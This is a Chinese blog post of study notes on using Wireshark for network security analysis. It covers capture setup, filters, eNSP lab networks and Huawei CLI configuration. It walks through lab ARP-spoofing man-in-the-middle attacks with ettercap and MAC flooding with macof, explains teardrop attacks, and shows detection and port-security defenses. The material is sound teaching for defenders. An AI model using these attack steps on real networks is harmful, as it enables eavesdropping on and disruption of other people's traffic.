侧边栏壁纸
博主头像
ldwcool's Blog博主等级

行动起来,活在当下

  • 累计撰写 24 篇文章
  • 累计创建 10 个标签
  • 累计收到 0 条评论

目 录CONTENT

文章目录

WireShark网络安全分析

ldwcool
2024-07-10 / 0 评论 / 0 点赞 / 41 阅读 / 47613 字

Preface

多年前记的一篇笔记。

第 1 节 WireShark介绍和基本操作

  • 介绍

    • WireShark是一个可以进行数据包的捕获和分析的软件
    • 网卡在对接收到的数据包进行处理之前,会先对他们的目的地址进行检查,如果目的地址部位本机的话,就会丢掉这些数据,相反就会将这些数据包交给操作系统,操作系统再将其分配给应用程序。如果启动了WireShark的话,操作系统会将经过网卡的所有数据包都复制一份提供给它,这样我们就可以在WireShark中查看到本机所有进出的数据包了。
  • WireShark操作过程

    1. 选择合适的网卡
    2. 开始捕获数据包
    3. 过滤掉无用的数据包
    4. 将捕获到的数据包保存为文件
  • 小案例

    1. 打开WireShark选中要捕获网卡,开始捕获

    2. 打开浏览器访问 http://www.wireshark.org

    3. 等待访问成功,关闭WireShark捕获数据包

    4. 可以看到捕获到了很多的数据包,不仅仅只包括访问 http://www.wireshark.org的数据包

    5. 源地址和目的地址都是以IP的方式显示,不方便查看

    6. WireShark提供了自动查询DNS服务器将IP地址转换为域名,视图-->解析名称-->解析网络地址

      • 注意:抓包时尽量不要开启此功能,因为数据包很多会产生大量的DNS查询,可以在停止抓包后根据实际需要是否开启此功能

    7. 可以看到源地址和目的地址都变为了相应的域名

    8. 然后点击 统计-->会话 找到www.wireshark.org 右键选择作为过滤器

    9. 可以发现只显示了相关于 www.wireshark.org 的数据包了

    10. 如果想要保存所有数据包,则选择 文件-->保存或者另存为,如果想保存筛选后的数据,则选择 文件-->导出特定分组

第 2 节 网络安全仿真环境的构建

  • 主要内容

    • 虚拟网络设备的构建工具eNSP
      • GNS3:思科网络设备虚拟功能
      • eNSP:华为网络设备虚拟功能
    • 虚拟PC的工具VMware
    • 在虚拟环境中安装 Kali Linux
    • 在虚拟环境中安装其他操作系统
    • eNSP 与 VMware 的连接
  • 主要步骤

    1. 下载并安装好eNSP

    2. 使用VMware安装好Kali Linux和其他操作系统

    3. 在eNSP中创建一个网络简单的拓扑图

    4. 开启VMware中的Kali Linux,查看网络连接方式,例如这里时NAT模式

    5. 在VMware中查看NAT模式对应使用的虚拟网卡,点击 编辑-->虚拟网络编辑器,可以看到NAT对应使用的虚拟网卡是VMnet8

    6. 在eNSP新建的网络拓扑图中增加云,增加云的两个端口绑定信息,一个绑定UDP一个绑定VMnet8,在端口映射设置中将出端口编号和入端口编号选择为不同,并勾选双向通道后点击增加

    7. 更改网络拓扑图纵PC1和PC2的IP获取方式为DHCP,因为VMware虚拟网卡具有DHCP功能,右键 PC1/2-->设置-->基础配置-->DHCP

    8. 查看PC1/2和Kali Linux的IP是否在同一网段,并相互ping看看能不能通

第 3 节 WireShark的部署方式

  • 部署方式分类

    • 使用WireShark完成远程数据包捕获
    • 集线器环境下使用WireShark
    • 交换机环境使用WireShark
    • 使用WireShark完成本地流量的捕获
    • 使用WireShark完成虚拟机流量的捕获
  • 远程完成数据包捕获

    • WireShark提供了一种远程数据包捕获的功能,这样我们就可以很方便地监控远程服务器上的流量。要实现这个功能需要在服务器上安装RPCAP。如果服务器操作系统是Windows系列操作系统九更加简单了,常用的WinPcap软件就包含了RPCAP。可以到WinPcap的官网下载WinPcap,完成下载后,点击安装包,按照正常流程进行安装即可。

    • rpcapd有被动工作和主动工作两种模式,其中被动模式中需要客户端主动连接服务器,但是如果服务器所在网络中部署防火墙,而且使用了NAT(地址转换)技术,这种情况下,客户端就无法连接到服务器中,就需要使用主动模式,让服务器去主动连接到客户端。常用的几个参数如下所示。

      参数含义
      -b指定rpcapd进程监听的IP地址,从别的地址进入到rpcapd的请求,它是不会给予响应的。如果省略该选项,就表示rpcapd监听所有的本地ipv4的地址
      -p指定RPCAP进程监听的端口,默认是2002,可以省略
      -l指定一个地址文件列表文件,允许哪些地址可以访问rpcapd
      -n不启用认证功能,任何主机都可以访问rpcapd进程
      -d以守护进程方式运行
    • 具有远程主机控制权限——主要步骤

      1. 在Windows上安装WinPcap,Windows的IP地址为192.168.211.131

      2. 在WinPcap安装目录下有个rpcapd.exe,在此目录下执行命令rpcapd.exe -n

      3. 打开WireShark,点击菜单栏 捕获选项按钮-->管理接口-->远程接口-->点击+号 输入远程主机的地址和端口

      4. 选择新增的远程接口,开始抓包

      5. 就可以捕获到远程Windows包了

    • 没有远程主机控制权限——远程数据包捕获

      • 集线器环境(现很少见)

        • 集线器会将收到的数据包发送给其他所有连接到的主机,网卡开为混杂模式抓包即可
      • 交换机环境

        • 在现在的网络中,集线器已经很难见到了,几乎所有的局域网都是使用交换机作为网络设备。二交换机的原理完全不同于集线器。如图所示,一个具备了4个端口的交换机,连接了A、B、C、D共4台计算机,其中的A要将一个信息发送到B处,二交换年纪作为网络的中心对信息进行转发。只有计算机B才能收到来自A的信息,其他他的主机是接收不到这个信息的。

        • 解决方法一:端口镜像

          • 如果你拥有了交换机的控制权限,就可以检查这个交换机是否支持端口镜像。如果支持端口镜像,就无需对网络进行任何线路上的改动。简单来说,端口镜像就是将交换机上一个或者几个端口的数据流量复制并转发到某一个指定端口上,这个指定端口被称为”镜像端口“。目前很多交换机都具备了端口镜像的功能。例如我们可以将其中的一个端口设置为”镜像端口“,然后需要监视的流量都转发到了这个镜像端口,这样我们将监控的计算机A连接到这个端口就可以对目标进行监控了。

          • 主要步骤

            1. 开启交换机的端口镜像,华为交换机开启端口镜像命令
            2. 在连接镜像端口上的计算机上抓包即可
          • 解决方法二:ARP欺骗

            • 在大多数情况下,我们可能既不能去更改网络物理线路,也不能使用交换机的端口镜像功能。这时可以使用ARPSpoof或者Cain之类的工具来实现中间人(MITM)攻击。这种技术经常被黑客用来进行网络监听,所以也被看做是一种入侵行为,ARP欺骗无需对网络做出任何的改动,只需要在自己的计算机上运行欺骗工具即可,但是需要注意的是这种行为往往会被认定为入侵行为。会很容易被网络中的ARP防御设备发现并定义为入侵行为。

            • 主要步骤

              1. 实现第 2 节中的网络拓扑图,将eNSP和Kali Linux连接起来,Kali Linux的IP是192.168.211.128,PC1的IP是192.168.211.132,PC2的IP是192.168.211.133

              2. 在Kali Linux中启动图形化界面的ettercap

              3. 选择要使用的网卡,点击 Sniff-->Unified Sniffing-->选择网卡-->ok

              4. 扫描当前网段的其他计算机,点击 Hosts-->Scan for Hosts

              5. 查看扫描结果

              6. 在显示的列表里选中要进行ARP欺骗的主机IP(例如PC1 192.168.211.132),然后点击 Mitm-->ARP poisoning-->勾选Sniff remote Connections-->ok 就开始了对192.168.211.132的ARP欺骗

              7. 开启Kali Linux上的WireShark进行抓包,过滤只显示icmp的数据包

              8. 在eNSP中在PC1命令行上使用ping命令ping PC2

              9. 可以看到Kali中的WireShark捕获到了PC1 ping向 PC2的icmp数据包

        • 解决方法三:网路分路器

          • 在对其他计算机进行网络数据分析时,网络分路器(TAP)也是一个非常不错的选择。网络分路器有些像我们生活中的水管“三通”的意思,即原来的流量正常通行,同时复制一份出来供检测设备分析使用。给出的就是一个构造很简单的网络分路器,它一共有4个接口,左侧两个Network接口用来连接被监听的设备,右侧的Monitor接口用来连接监听设备。这个过程其实和交换机的镜像端口有一点像,只不过TAP的使用要更灵活一些。

  • 完成本地流量的捕获

    • 也就是捕获本机访问本机(访问127.0.0.1)时所产生的数据包

    • 通常WireShark不能直接抓取本地的回环数据包,这在很多时候都会给我们带来不便。例如一个前台程序和它所使用的数据库都安装在同一台服务器上的时候,前台程序如果使用127.0.0.1这个地址来访问数据库,此时WireShark就无法捕获他们之间通信的数据。

    • 我们需要使用一个新的抓包工具来捕获本地回环数据,工具为RawCap,下载地址,但是抓到的包还需要使用WireShark来分析

    • 使用方法

      1. 双击RawCap.exe

      2. 选择最后一项7,也就是抓取本地回环数据包

      3. 输入要保存的位置和文件名,默认保存和RawCap.exe同一目录,默认文件名为dumpfile.pcap

      4. 回车开始抓包

      5. 将保存的数据包文件使用WireShark打开分析即可

  • 完成虚拟机流量的捕获

    • 很多情况需要我们对虚拟机进行流量捕获,这里面一VMware为例,当VMware安装后系统会默认安装3个虚拟网卡VMnet0、VMnet1、VMnet8,这些虚拟网卡除了无法接触到之外,其余的地方都是一模一样的。
    • 只需要使用WireShark抓取虚拟机某一个操作系统使用的虚拟网卡设备就可以抓取到这个虚拟机的网络数据包

第 4 节 过滤无用的数据包

  • 伯克利包过滤

    • 介绍

      • 1993年,Steven McCanne于Van Jacobson在Usenix'93会议上提出的一种机制——伯克利包过滤(Berkeley Packet Filter,BPF),它采用了一种与我们自然语言很接近的语法,利用这种语法构成的字符串可以确定保留那些数据包以及忽略掉哪些数据包
      • 这种语法很容易理解,例如最简单的空字符串,表示就是不过滤任何数据包,也就是保留所有的数据包。如果这个字符串不为空的话,那么只有那些使字符串表达式值为“真”的数据包才会被保留。这种字符串通常由一个或者多个原语所组成。每个原语又由一个标识符(名称或者数字)组成,再加上一个或者多个限定符
    • 伯克利包过滤中的限定符有下面这三种

      • Type:这种限定符表示指代的对象,例如IP地址,子网或者端口等。常见的有host(用来表示主机名和IP地址),net(用来表示子网),port(用来表示端口)。如果没有指定的话,默认为host。

      • Dir:这种限定符表示数据包传输的方向,常见的有src(源地址)和dst(目的地址)。如果没有指定的话,默认为“src or dst”。例如“192.168.1.1”就表示无论源地址或者目的地址为192.168.1.1的都使得这个语句为真。

      • Proto:这种限定表示与数据包匹配的协议类型,常见的就是ether、ip、tcp、arp这些协议。

      • 下面给出一些常见的原语实例

        原语含义
        host 192.168.1.1当数据包的目的地址或者源地址为192.168.1.1时,过滤语句为真
        dst host 192.168.1.1当数据包的目的地址为192.168.1.1时,过滤语句为真
        src host 192.168.1.1当数据包的源地址为192.168.1.1时,过滤语句为真
        ether host 11:22:33:44:55:66当数据包的以太网源地址或者目的地址为11:22:33:44:55:66,过滤语句为真
        ether dst 11:22:33:44:55:66当数据包的以太网目的地址为11:22:33:44:55:66,过滤语句为真
        ether src 11:22:33:44:55:66当数据包的以太网源地址为11:22:33:44:55:66,过滤语句为真
        dst net 192.168.1.0/24当数据包的IPv4/v6的目的地址的网络号为192.168.1.0/24时,过滤语句为真
        src net 192.168.1.0/24当数据包的IPv4/v6的源地址的网络号为192.168.1.0/24时,过滤语句为真
        net 192.168.1.0/24当数据包的IPv4/v6的源地址或者目的地址的网络号为192.168.1.0/24时,过滤语句为真
        dst port 8080当数据包时tcp或者udp数据包且目的端口号为8080时,过滤语句为真
        src port 8080当数据包时tcp或者udp数据包且源端口号为8080时,过滤语句为真
        port 8080当数据包的源端口或者目的端口号为8080时,过滤语句为真。所有的port前面都可以加上关键字tcp或者udp。
    • 伯克利包过滤也支持到位的操作。具体的语法为proto[expr:size],这里面的proto指代协议,expr表示相对给出协议层的字节偏移量,size表示要操作的字节数。其中size的值是可选的,可以是1,2,4中的一个,默认值为1。

      地址192.168.1.1转换为16进制为“0xc0a80101”,最后就可以写成:ip[12:4]=0xc0a80101

  • WireShark中的捕获过滤器

    • 介绍

      • 捕获过滤器是在WireShark捕获过程中同时进行工作的,这意味着如果你使用捕获过滤器,那么WireShark就不会捕获不符合规则的数据包。
    • 使用方法

      • 捕获过滤器的配置必须要在使用WireShark就行捕获数据包之前进行,配置过程的步骤如下所示

        1. 首先点击在选择菜单栏上的 捕获选项
        2. 在“所选择接口的捕获过滤器”后面的文本框中填写字符串形式的过滤器

      • 或者

      • 捕获过滤器遵循了伯克利包过滤的语法,所以我们可以使用伯克利包过滤来完成各种过滤任务。例如下面给出一些常见的过滤器

        原语含义
        tcp dst port 80只保留目标端口为80的TCP数据包
        ip src host 192.168.1.1只保留源地址为192.168.1.1的数据包
        src portrange 2000-5000只保留源端口号在2000-5000之间的UDP和TCP数据包
        not icmp保留除icmp以外的数据包
  • WireShark中的显示过滤器

    • 介绍

      • 显示过滤器是在WireShark捕获的过程后进行工作的,这表示即使你使用了显示过滤器,WireShark仍然会捕获不符合规则的数据包,但是并不会将它们显示在数据包面板上。
      • WireShark显示过滤器与捕获过滤器有两点明显的不同,一是显示过滤器可以在WireShark捕获数据之后再使用,二是显示过滤器的语法与捕获过滤器语法并不相同。在WireShark中有多种创建显示过滤器的方法
        • 使用过滤器输入框创建显示过滤器
        • 使用过滤器表达式创建显示过滤器
        • 在数据包细节面板中创建显示过滤器
      • 在WireShark中,在显示过滤器中使用网络协议时,这些网络协议都要使用小写的形式(例如arp、ip、icmp、tcp、udp、dns以及http等)。
    • 使用过滤器输入框创建显示过滤器

    • 使用过滤器表达式创建显示过滤器

    • 在数据包细节面板中创建显示过滤器

      • 在数据包详细列表处某一行单击,例如我们在 Source Port: 3389这一行单击鼠标右键的话,就会弹出一个菜单,这个菜单中选中“作为过滤器应用”,会弹出一个新的菜单

      • 当在详细面板选中某一行数据时底部也会有对应的过滤语法提示

第 5 节 WireShark中的时间显示

  • 本节内容

    • 在WireShark中观察远程访问的过程
    • WireShark中的时间显示
    • 各位置延迟时间的计算
  • 案例

    • 为了能够更改的了解整个网络的状况,我们需要构建一个模拟的仿真网络,在这个网络中存在着客户端、服务器以及连接他们的各种设备。构建完成的仿真网络如下图所示

    • 设置客户端IP为192.168.1.100,DNS服务器IP为192.168.1.1,网关(DHCP服务器)左侧IP为192.168.1.1,右侧IP为192.168.2.1,互联网路由器左侧IP为192.168.2.2,右侧IP为192.168.3.1,目标网关左侧IP为192.168.3.2,右侧IP为192.168.4.1,HTTP服务器IP为192.168.4.100

    • 构建仿真网络步骤

      1. 打开eNSP,新建拓扑

      2. 在拓扑上添加1个客户端,2个服务器,2个交换机(以S3700为例),3个路由器(以AR1220为例)

      3. 使用设备连线将各个设备连接起来(注意三台路由器左侧均为GE0/0/0接口,右侧均为GE0/0/1接口),然后选中所有设备,开启所有设备

      4. 配置客户端,右键 Client1-->设置-->基础配置,本机地址:192.168.1.100,网关:192.168.1.1,域名服务器:192.168.1.10,配置好后点击保存

      5. 配置DNS服务器,右键 Server1-->设置-->基础配置,本机地址:192.168.1.10,网关:192.168.1.1,配置好后点击保存

      6. 继续配置DNS服务器,右键 Server1-->设置-->服务器信息,选择DNSServer,增加一条记录,然后启动DNSServer

      7. 配置网关(DHCP服务器),右键 AR1-->CLI,配置左侧接口IP为192.168.1.1,右侧接口IP为192.168.2.1,使用rip版本2协议(告诉左边可以到哪,右边可以到哪),配置命令如下

        <Huawei>sys		# 1、进入到系统视图
        Enter system view, return user view with Ctrl+Z.
        [Huawei]int GigabitEthernet 0/0/0	# 2、进入GE0/0/0接口视图
        [Huawei-GigabitEthernet0/0/0]ip address 192.168.1.1 255.255.255.0	# 3、配置GE0/0/0 IP为192.168.1.1,子网掩码为255.255.255.0
        Feb  6 2020 14:34:17-08:00 Huawei %%01IFNET/4/LINK_STATE(l)[0]:The line protocol
         IP on the interface GigabitEthernet0/0/0 has entered the UP state. 
        [Huawei-GigabitEthernet0/0/0]quit	# 4、返回上一级(系统视图)
        [Huawei]int GigabitEthernet 0/0/1	# 5、进入GE0/0/1接口视图
        [Huawei-GigabitEthernet0/0/1]ip address 192.168.2.1 255.255.255.0	# 6、配置GE0/0/0 IP为192.168.1.1,子网掩码为255.255.255.0
        Feb  6 2020 14:34:43-08:00 Huawei %%01IFNET/4/LINK_STATE(l)[1]:The line protocol
         IP on the interface GigabitEthernet0/0/1 has entered the UP state. 
        [Huawei-GigabitEthernet0/0/1]quit	# 7、返回上一级(系统视图)
        [Huawei]rip 1	# 8、使用rip协议,设置动态路由
        [Huawei-rip-1]version 2	# 9、设置工作在版本2
        [Huawei-rip-1]network 192.168.1.0	# 10、设置交换路由网络(左侧接口可以到哪)
        [Huawei-rip-1]network 192.168.2.0	# 11、设置交换路由网络(右侧接口可以到哪)
        [Huawei-rip-1]quit	# 12、返回上一级(系统视图)
        [Huawei]
        

      8. 配置互联网路由器,左侧IP:192.168.2.2,右侧IP:192.168.3.1,配置命令与配置网关(DHCP服务器)类似,见第7步

      9. 配置目标网关,左侧IP:192.168.3.2,右侧IP:192.168.4.1,配置命令与配置网关(DHCP服务器)类似,见第7步

      10. 配置HTTP服务器,右键 Server2-->设置-->基础配置,本机地址:192.168.4.100,网关:192.168.4.1,域名服务器:192.168.1.10,配置好后点击保存

      11. 继续配置HTTP服务器,右键 Server2-->设置-->服务器信息,选择HttpServer,选择文件根目录(在根目录中放入一个index.html文件),然后启动HttpServer

      12. 分别在客户端(Client1)和HTTP服务器(Server2),右键 Client/Server2-->设置-->基础配置,在PING测试中进行Client1和Server2互ping,查看网络是否联通,如下图所示网络成功联通。

    • WireShark时间显示使用

      1. 在客户端(Client1)和内部交换机(LSW1)连线的某一结点右键 开始抓包,会自动启动WireShark在此结点上抓包

      2. 使用客户端(Client1)访问HTTP服务器(Server2),右键 Client-->设置-->客户端信息-->HttpClient,在地址栏填写http://www.a.com,然后点**获取**,会提示是否保存不用管它

      3. 可以看到在WireShark中已经抓到客户端发起请求的数据包了

      4. 在WireShark中有默认的Time列显示时间,可以在 视图--时间显示格式 选择显示时间的方式和精度

      5. WireShark也支持添加列,在 编辑-->首选项-->Appearance-->Columns-->+,点击下方+号,会增加新的一列

      6. 现在的需求是增加一列显示TCP连接的相对时间,就是显示当前TCP包相比较于上一个TCP包之间间隔时间是多少,WireShark在列的类型中提供了很多的自带类型,也有很多关于时间的类型,比如在第4步中所显示的时间都有对应的类型,但是默认自带的没有能满足此次需求的类型

      7. WireShak提供列类型自定义的方式,可以用这个来满足此次需求,先修改一下标题(比如tcp.timeDelta),然后将类型选择Custom,字段写tcp.time_delta,最后点击ok

      8. 将新增的列调整到合适的位置

      9. 可以看到在抓取的数据包中,客户端先发起DNS查询请求,然后DNS服务器响应查询,客户端得到HTTP服务器IP后于其通过三次握手建立TCP连接,连接建立好之后客户端发起HTTP请求,然后HTTP服务器响应请求,最后客户端于服务器断开TCP连接。通过分析得到,如果TCP三次握手第二个包(NO.120)的tcp.time_delta列数值较大则表示客户端与HTTP服务器之间连接线路出现问题导致访问变慢,如果客户端发起HTTP请求(NO.122)的tcp.time_delta列数值较大则表示客户端浏览器出现问题导致访问变慢,如果服务器响应数据包(NO.123)的tcp.time_delta列数值较大则表示HTTP服务器出现问题导致访问变慢。注意:tcp.time_delta列是当前TCP数据包相对于上一个TCP数据包的间隔时间。TCP三次握手连接由操作系统完成,HTTP请求由浏览器完成,所以一般TCP三次握手最后一次数据包与第一个HTTP请求数据包之间是有反应时间的,如果间隔时间比较大就是本机浏览器有点小卡。

第 6 节 使用WireShark分析链路层攻击

  • 主要内容

    • 针对交换机的常见攻击方式
      • MAC地址欺骗攻击
      • MAC地址泛洪攻击
      • STP操纵攻击
      • 广播风暴攻击
    • 使用macof发起MAC地址泛洪攻击
    • 使用统计功能分析针对交换机的攻击
    • 如何防御MAC地址泛洪攻击
  • 交换机的一些特性

    • 交换机只认识硬件地址
    • 交换机内部有mac地址表,是将交换机每个接口与其连接硬件的mac地址对应,这个是动态的也可以是静态的(手动设置),交换机读取每个接口发出数据包的源MAC地址记录到mac地址表上
    • 当交换机的mac地址表还未被填满,发送给某个主机的数据包交换机会查看其目标MAC地址,如果在mac地址表有这个目标MAC那么就会通过那个对应的接口发过去而不是广播,如果mac地址表没有目标MAC就会广播出去
    • 当交换机的mac地址表被填满后,就成了集线器,将所收到的数据进行广播
    • 在交换机的mac地址表中,一个接口可以对应多个硬件地址,不过可以设置最大对应数,默认是不限制,这就造成了可以对交换机进行MAC地址泛洪攻击
  • 模拟MAC地址泛洪攻击

    1. 实现第2节的拓扑图

    2. 打开WireShark,在交换机和云连接线之间的某个节点开始抓包

    3. 在WireShark显示过滤器中,只显示icmp数据包,然后使用PC1 ping PC2,由于此时交换机是正常工作的,所以交换机不会将ping数据包发送到连接云的接口上,WireShark也就无法抓取到此次ping所产生的数据包

    4. 右键 LSW2-->CLI,使用命令display mac-address 查看mac地址表,可以看到此时mac地址表中并没有几项记录

    5. 在Kali中使用 macof 命令进行MAC地址泛洪攻击,等待一会或者多开几个终端运行 macof 让交换机mac地址表填满

    6. 右键 LSW2-->CLI,使用命令display mac-address 查看mac地址表,可以看到此时mac地址表中有非常多项记录

    7. 此时再使用PC1 ping PC2,发现WireShark抓取到了这个ping数据包,表明交换机mac地址表已经被填满,功能退化为了集线器,将收到的数据包都广播出去

    8. 此时表明MAC地址泛洪攻击已经成功,将WireShark抓到的数据做保存供下一步分析。

  • 分析MAC泛洪攻击数据包

    1. 使用WireShark打开上一阶段保存的数据包

    2. WireShark提供了统计功能,能够让我们从宏观的角度大概了解到捕获数据包的情况

    3. 点击 统计-->捕获文件属性,可以看到打开数据包的一些信息,比如什么时间抓取的,抓取用时时长,数据包个数,捕获这些数据包那台机器的配置等等,还可以增加一些注释,方便下次查看

    4. 点击 统计-->协议分级,以结点的形式展示了数据包中各种不同协议数据包的统计信息,发现都是IP数据包,但是几乎没有UDP和TCP数据包,因为正常网络传输数据基本都用TCP和UDP,但是这里有大量的IP数据包但没有TCP和UDP数据包,就怀疑这些IP数据包是伪造的。

    5. 点击 统计-->会话,用来分析各个数据包的来源和目的,默认有Ethernet、IPv4、IPv6、TCP、UDP,5个选项卡,在右下角有一个Conversation类型可以用来增减显示选项卡的类型,通过Ethernet选项卡我们发现有大量不同的源mac和目的mac互相通信,且通信的数据包大小都为1,这就十分可疑了,因为正常通信数据包数量一般是大于1的,而且数据包的大小都为60,那么几乎可以肯定这些数据包使用某个软件生成的。

  • 寻找发起MAC泛洪攻击攻击者

    • 如果有交换机的控制权,在交换机上执行 display mac-address 显示交换机mac地址表信息,如果某一个交换机接口对应了大量不同的mac地址,那么发起MAC泛洪攻击的机器就连接在这个接口下
  • 防御MAC泛洪攻击

    • 限制交换机单个接口能够对应的MAC地址数量,使用如下命令

      <Huawei>sys	# 进入系统视图
      Enter system view, return user view with Ctrl+Z.
      [Huawei]int ethernet0/0/1	# 进入0/0/1接口视图
      [Huawei-Ethernet0/0/1]port-security enable	# 打开端口安全功能
      [Huawei-Ethernet0/0/1]port-security mac-address sticky	# 打开安全粘贴MAC功能
      [Huawei-Ethernet0/0/1]port-security protect-action protect	# 配置其他非安全mac地址数据帧的处理动作
      	# protect   Discard packets		丢弃,不产生告警信息
      	# restrict  Discard packets and warning		丢弃,产生告警信息(默认的)
      	#shutdown  Shutdown		丢弃,并将端口shutdown
      [Huawei-Ethernet0/0/1]port-security max-mac-num 8	# 0/0/1这个接口最大对应MAC地址数为8(限制安全MAC地址最大数量为8个,默认为1)
      [Huawei-Ethernet0/0/1]quit
      [Huawei]quit
      

第 7 节 使用Wireshark分析中间人攻击

  • 主要内容

    • 中间人攻击的相关理论
    • 使用WireShark的专家系统分析中间人攻击
    • 发起中间人攻击
    • 如何防御中间人攻击
  • 中间人攻击

    • 中间人攻击又被简称为MITM攻击,攻击者会把自己的设备放置在网络连接的两台设备中间,以此来监听他们之间的通信,当然这个中间位置是逻辑上的而不是物理位置。攻击者就像是一个间谍,它不断从一个设备接收信息,解读之后再转发给另一个设备。在这个过程中两个设备之间的通信并没有中断,因此他们完全不会发觉多了一个“中间人”。
    • 中间人攻击的目标并不是交换机,而是终端设备(例如计算机、手机等)。在每一台终端设备中都有一个ARP缓存表,这个表中保存了一些IP地址和MAC地址之间的对应关系。
      • ARP协议
        • 数据包在局域网内部是无法使用IP地址进行通信的,因为局域网中的连接设备只能识别MAC(硬件)。但是应用程序发出的数据包中往往只包含了目标的IP地址,此时就需要由ARP程序来找到数据包目的IP地址对应的MAC地址
        • 在每一台计算机中都存在有一个ARP缓存表,这个表动态保存了一些IP地址和MAC地址的对应关系。当计算机接收到一个数据包之后,就会通过ARP程序在这个表中查找包中IP地址所对应的表项,然后根据这个表项在数据包中再添加MAC地址。
        • 如果没有在缓存表中找到对应项,ARP程序就会在局域网中进行广播,询问网络中是否存在这样一个IP地址。如果局域网中有计算机使用了这个IP,那么它就会回应一个包含了自己MAC地址的信息,这样计算机就可以将这个信息添加到自己的ARP缓存中,并将这个数据包填好目的MAC地址发送输出。
    • 通常应用程序只能通过IP地址进行通信,但是在内部网络中使用的交换机却不能识别IP地址。因此每一台终端设备在发送应用程序产生的数据包时,必须在它里面添加一个MAC地址。
  • 模拟中间人攻击

    1. 开启两台虚拟机,攻击机Kali,目标机Win7,目标IP:192.168.211.131,网关为:192.168.211.2

    2. 在Kali Linux中启动图形化界面的ettercap

    3. 选择要使用的网卡,点击 Sniff-->Unified Sniffing-->选择网卡-->ok

    4. 扫描当前网段的其他计算机,点击 Hosts-->Scan for Hosts

    5. 查看扫描结果

    6. 选中目标IP,右键选择 Add to Target1,选中网关IP,右键选择 Add toTarget2

    7. 点击 Mitm-->ARP poisoning-->勾选Sniff remote Connections-->ok,就开始了中间人攻击

    8. 打开Kali上的WireShark开始抓包,显示过滤器写为ip.src==192.168.211.131,只显示源IP为192.168.211.131的数据包

    9. 使用目标机IN7,在cmd中执行ping www.baidu.com命令

    10. 可以看到WireShark已经成功抓取到了此次目标机ping命令产生的数据包,表示中间人攻击成功

    11. 保存此次WireShark抓取到所有数据包,供下一步骤分析使用

  • 分析中间人攻击数据包

    1. 用WireShark打开上一步骤保存的数据包,发现有很多的ARP数据包

    2. ARP数据包过多本身就是一个不太正常的现象,因为正常的ARP查询只需要一个请求和一个响应即可,如果网络在短时间内产生了大量的ARP数据包,通常有三种情况

      • 有攻击者在利用ARP请求来扫描网络

      • 有计算机感染了ARP病毒在破坏网络通信

      • 有攻击者在使用ARP欺骗,发动中间人攻击(如果出现密码的丢失,很有可能就是中间人攻击)

    3. WireShark有专家系统功能,WireShark在发现了数据包问题之后会在左下角显示一个有颜色的圆形按钮(捕获过程中无法使用),根据事件严重性的不同所显示的颜色也不一样

    4. 专家系统中的信息保存在解析器中,将网络中不正常的数据包分成四种,分别是错误(表示数据包或解析器错误,用红色显示),警告(表示来自应用层或传输层的异常响应,用黄色显示)、注意(表示来自应用层或传输层的异常响应,用浅蓝色显示)、会话(表示工作流的信息,用蓝色显示),可以在专家系统右下角的显示按钮中,选择要显示或隐藏的某种类型的数据包,目前专家系统主要解决的是TCP通信问题

    5. 点击左下角的圆形按钮显示专家系统,在显示的Warning中有一条说有重复的IP配置,展开这一行,会显示WireSHark专家系统所认为有问题的数据包

    6. 随意点击一个有问题的数据包,会在WireShark详细显示栏显示此数据包,关闭专家系统界面,在详细显示栏查看,专家系统提示说192.168.211.2和192.168.211.131对应2个MAC地址,而且2个IP对应的MAC地址中有一个是相同的(00:0c:29:bf:c3:08),怀疑是发生了中间人攻击

    7. 寻找并确定攻击者,在查看数据包的过程中,发现有这么一段,某台设备发起ARP查询,有另一台设备在多次的应答且在这过程中还声称另一个IP对应的MAC也是我,可以确定这个MAC地址对应的主机就是攻击者

  • 中间人攻击防御

    • 静态绑定ARP表项目
    • 使用DHCP Snooping(DHCP监听)功能
    • 划分VLAN
      • 比如一个交换机连接24台主机,那么一个人就能祸害到23个人,如果划分为4个VLAN,那么一个人只能祸害到同一VLAN下的另外5个人
    • ARP防火墙

第 8 节 使用wireshark分析泪滴攻击

  • 主要内容

    • 泪滴攻击(TearDrop)的相关理论
    • WireShark的着色规则
    • 如何发起泪滴攻击
    • 根据TTL值判断攻击的来源
  • 泪滴攻击(TearDrop)的相关理论

    • 针对IP协议的攻击方法,主要有伪造IP地址和发送畸形数据包两种方式。泪滴攻击就属于发送畸形数据包这种方式,它的设计思路巧妙地利用了IP协议里面的缺陷,因此成为了网络安全里面的一个经典案例。
    • 这种攻击的实现原理是向目标主机发送异常的数据包碎片,使得IP数据包碎片在重组的过程中有重合的部分,从而导致目标系统无法对其进行重组,进一步导致系统崩溃而停止服务的恶性攻击
    • 这种攻击时建立在IP协议上的,这里先了解一下IP协议的几个重要内容,包括IP协议数据包的格式、分片方式以及存活时间(TTL)
  • 了解IP协议数据包的格式

    • 可以访问 https://wiki.wireshark.org/SampleCaptures/,这里面包含有WireShark官方提供的各种数据包样本,本次以其中的teardrop.cap为例

    • 下载好 teardrop.cap 后重命名为teardrop.pcap,用WireShark打开,查看其中第8个数据包

      编号含义
      1IP协议的版本
      2头部的长度
      3数据包总长度
      4标识符,占16位,标识符相同的表示是同一个数据包只不过被分片了
      5与数据包分片相关的,占16位,第三位为1表示是分片的一部分,后13位表示偏移量,比如一个数据分为4个数据包,那么第1,2,3数据包此位置的第3位为1,第1个数据包的偏移量为0,最后通过每个数据包的偏移量将这4个数据包组合成原本的真正数据
      6数据包在网络中通过路由的最大值,每通过一个路由TTL值就减1,当减到0时路由就会将此数据包丢掉
      7指出此数据包所携带的数据使用哪种协议
      8源地址
      9目的地址
      • 数据包为什么要分片?这和一个名为MTU(最大传输单元)的值有关。我们知道数据包的最外面要添加一个以太网的帧头,并包装成一个数据帧之后才能传输。由于以太网传输电气方面的限制,以太网帧的大小都有限制每个以太网帧最小也要64Bytes,最大不能超过1518Bytes。刨去以太网帧头(DMAC目的地址 MAC48bit=6Bytes + SMAC,源MAC地址48bit=6Bytes + Type域2Bytes)14Bytes和帧尾CRC校验部分4Bytes(这个部分有时候也被称作FCS),那么剩下承载上层协议的地方也就是Data域最大就只能有1500Bytes,这个值我们就把他称之为MTU。这也就时我们几乎所有设备的MTU值都为1500的原因。
  • 如何发起泪滴攻击

    • 改小IP分片数据包中偏移量,使之后一个分片数据包会覆盖前一个分片数据包的部分数据,在最后系统合成数据包的时候无法成功合成,这就是IP畸形数据包。这种攻击方法在比较老的操作系统中会造成操作系统死机,但是对现在的操作系统无效了。
    • 现在一般把它和泛洪攻击结合起来,发送大量的IP畸形数据包占用目标操作系统资源,或者只大量发送3个分片数据包的前2个,让目标操作系统慢慢等着第3个分片从而耗尽内存,但是现在一般长时间等不到就丢掉前面的数据包了
